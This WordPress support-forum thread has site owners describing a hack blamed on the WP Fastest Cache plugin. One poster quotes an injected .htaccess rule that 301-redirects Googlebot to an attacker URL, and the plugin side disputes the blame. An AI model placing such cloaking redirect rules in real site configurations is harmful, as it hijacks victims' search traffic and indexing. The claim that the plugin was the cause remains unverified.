• Lately my site is getting hacked. The hacker inserts links into the cached versions of pages on the site. I noticed that permissions on some of the hacked files are changed to 666. I can delete the cache and the links go away but they come back in a day or two. I noticed that last year this plugin had a similar exploit. Is it possible it has a new, undiscovered security issue? My theme and all plugins are up to date.

    The page I need help with: [log in to see the link]

    you have already been hacked so he can changed the files.

    Hello last week my website WP Fastest Cache plugin is been hacked and .htaccess file changed to:

    # BEGIN WpFastestCache
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteCond %{HTTP_USER_AGENT} Googlebot
    RewriteRule (.*) https://www.hackerurl.com [L,R=301]

    The result was the User-declared canonical in google console change to https://www.hackerurl.com and my domain wasn’t indexed by google.

    So I found that it was the WpFastestCache plugin.
    After that I update the plugin today and I hope not happent again because it was my bussiness website and cost me some customers.

    It’s wrong to blame us if you’re not sure. wp fastest cache has no known vulnerabilities.

    I’m sure becase I’ve test it before write this comment.
    When I update the plugin .htaccess file stop changing with the hack url.
